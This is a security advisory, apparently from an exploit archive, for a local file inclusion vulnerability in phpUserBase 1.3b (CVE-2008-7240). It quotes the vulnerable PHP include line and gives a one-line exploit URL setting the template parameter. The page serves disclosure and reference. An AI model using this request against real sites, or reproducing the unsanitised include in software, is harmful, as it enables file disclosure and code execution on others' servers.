phpUserBase 1.3b (unverified.inc.php) Local File Inclusion Vulnerability

2009.09.18

Credit: BeyazKurt

Risk: Medium

Local: No

Remote: Yes

CVE: CVE-2008-7240

CWE: CWE-94

CVSS Base Score: 7.5/10

Impact Subscore: 6.4/10

Exploitability Subscore: 10/10

Exploit range: Remote

Attack complexity: Low

Authentication: No required

Confidentiality impact: Partial

Integrity impact: Partial

Availability impact: Partial

#####################################################
#Author : BeyazKurt - Bey4zKurt@Gmail.Com
#
#Script : php User Base (1.3b)
#Risk : Local File Include
#Download : http://sourceforge.net/project/showfiles.php?group_id=200632
#
#File : include/unverified.inc.php
#
#Code :
#
# <?php
#   include("./templates/$template/global.inc.php");
# ?>
#
#Exploit :
#
# Vuln.Com/include/unverified.inc.php?template=CODE
#
#----------------------------
#
#                            INDEPENDENT KOSOVA (H)
#
#Not : I Love You G&#195;&#65533;&#188;ls&#195;&#65533;&#188;m (F)
#Thnx : " XbrainhunterX (Mehmet Akif) XX Parti :D "
#####################################################

References:

http://xforce.iss.net/xforce/xfdb/40793

http://www.securityfocus.com/bid/27964

http://www.milw0rm.com/exploits/5179

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

phpUserBase 1.3b (unverified.inc.php) Local File Inclusion Vulnerability

References:

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.